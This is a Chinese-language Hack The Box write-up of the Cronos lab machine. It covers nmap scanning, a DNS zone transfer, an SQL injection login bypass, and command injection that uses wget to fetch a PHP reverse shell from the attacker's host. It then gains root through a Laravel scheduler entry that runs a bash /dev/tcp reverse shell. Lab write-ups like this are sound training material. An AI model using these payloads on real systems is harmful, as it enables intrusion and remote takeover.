[HTB] Cronos靶機 Write-Up

Hack The Box Cronos machine Write-Up

陳禹璿
10 min readMay 26, 2023

這個box有點難度,主要要去處理DNS的東西。

偵蒐與列舉

  • 攻擊機ip: 10.10.10.13/24
  • 靶機ip: 10.10.10.3/24

nmap scanning:

  1. 利用nmap檢查開啟的port:
┌──(kali㉿osboxes)-[~/Desktop/hackthebox/temp_space]
└─$ sudo nmap -sT -T4 -p- 10.10.10.13
Starting Nmap 7.92 ( https://nmap.org ) at 2023-05-19 03:59 EDT
Nmap scan report for 10.10.10.13
Host is up (0.22s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 1180.70 seconds

2. 針對開啟的port做偵蒐:

┌──(kali㉿osboxes)-[~/Desktop/hackthebox/temp_space]
└─$ sudo nmap -sC -sV -p22,53,80 -oN nmap.out 10.10.10.13
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2023-05-19 04:22 EDT
Nmap scan report for 10.10.10.13
Host is up (0.21s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
| 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.07 seconds

這台靶機面有開

  • port 22 : OpenSSH 7.2p2
  • port 80 : domain ISC BIND 9.10.3-P4
  • port 80 : Apache httpd 2.4.18

Directory brute forcing

利用Dirbuster跟dirsearch做目錄爆破,並沒有發現任何東西。

DNS zone transfer

Hackthebox裡面,都會用靶機的名稱當成domain,像是這台就做cronos,那就可以稱為cronos.htb。

我們可以先修改/etc/hosts,把cronos.htb加進去。

接著使用zone transfer,可以發現大量的domain被撈出來,我們把這些domain依序加入/etc/hosts。

┌──(kali㉿osboxes)-[~/Desktop/hackthebox/temp_space]
└─$ dig axfr @10.10.10.13 cronos.htb

; <<>> DiG 9.18.12-1-Debian <<>> axfr @10.10.10.13 cronos.htb
; (1 server found)
;; global options: +cmd
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb. 604800 IN NS ns1.cronos.htb.
cronos.htb. 604800 IN A 10.10.10.13
admin.cronos.htb. 604800 IN A 10.10.10.13
ns1.cronos.htb. 604800 IN A 10.10.10.13
www.cronos.htb. 604800 IN A 10.10.10.13
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 452 msec
;; SERVER: 10.10.10.13#53(10.10.10.13) (TCP)
;; WHEN: Fri May 19 04:41:43 EDT 2023
;; XFR size: 7 records (messages 1, bytes 203)

就可以看到有web出現了

  • cronos.htb
  • admin.cronos.htb

尋找初始感染點

再admin.cronos.htb裡面,我們找到了一個登入介面,我們嘗試用SQL Injection來登入

' or 1=1-- -

進入後發現是一個Net Tool v0.1,看起來可以使用Command Injection。

127.0.0.1|| ls -al

我嘗試把php reverse shell上傳上去,再檢查發現已經有了

8.8.8.8| wget http://10.10.16.7/shell.php

成功彈回一個reverse shell

可以利用Python產生一個shell

python -c 'import pty; pty.spawn("/bin/bash")'

向上提權

利用linpeas.sh做題權的掃瞄,發現有一個具有root權限的cron job叫做/artisan schedule:run,根據google的查詢這個服務具有任務排成的功能

https://laravel.tw/docs/5.2/scheduling

artisan schedule

根據google所查詢到的公開資料顯示,artisan 可以利用跑排程,他跟linux內建的排程不同的地方是他只需要一行指令,同時修改app/Console/Kernel.php內的設定就可以跑所有想要跑的排程。

也就是說他是把排程寫在app/Console/Kernel.php裡面,然後由下面這行指令去定期跑。

php artisan schedule:run

尋找app/Console/Kernel.php的方法可以用find指令

find / -name Kernel.php 2>/dev/null

根據這篇文章描述,我們需要找到function schedule(),並且寫入指令,然後要根據這篇文章來設定排程。

但是因為拿到的shell是很爛的shell,所以不建議直接在靶機上面編輯,可以把Kernel.php下載到kali再編輯,我先把一個有reverse shell的bash檔放到靶機裡面,然後直接讓artisan去跑他。

可以把這行加入Kernel.php裡面

$schedule->exec('/var/www/laravel/app/Console/bs.sh')->everyMinute();
<?php

namespace App\Console;

use Illuminate\Console\Scheduling\Schedule;
use Illuminate\Foundation\Console\Kernel as ConsoleKernel;

class Kernel extends ConsoleKernel
{
/**
* The Artisan commands provided by your application.
*
* @var array
*/
protected $commands = [
//
];

/**
* Define the application's command schedule.
*
* @param \Illuminate\Console\Scheduling\Schedule $schedule
* @return void
*/
protected function schedule(Schedule $schedule)
{
// $schedule->command('inspire')
// ->hourly();
$schedule->exec('/var/www/laravel/app/Console/bs.sh')->everyMinute();
}

/**
* Register the Closure based commands for the application.
*
* @return void
*/
protected function commands()
{
require base_path('routes/console.php');
}
}

有reverse shell的bash檔也準備好。

#!/bin/bash
bash -i >& /dev/tcp/10.10.16.7/4446 0>&1

接著root權限的Reverse Shell就連回來了

心得

打了三次才真的把root拿下來,這臺學到蠻多東西的。

112/5/26 09:22 新竹交大博愛校區

--

--

陳禹璿
陳禹璿

Written by 陳禹璿

CCNP/RHCE/CEHv11/CEH Practical/CPENT/LPT Master/多益800/

No responses yet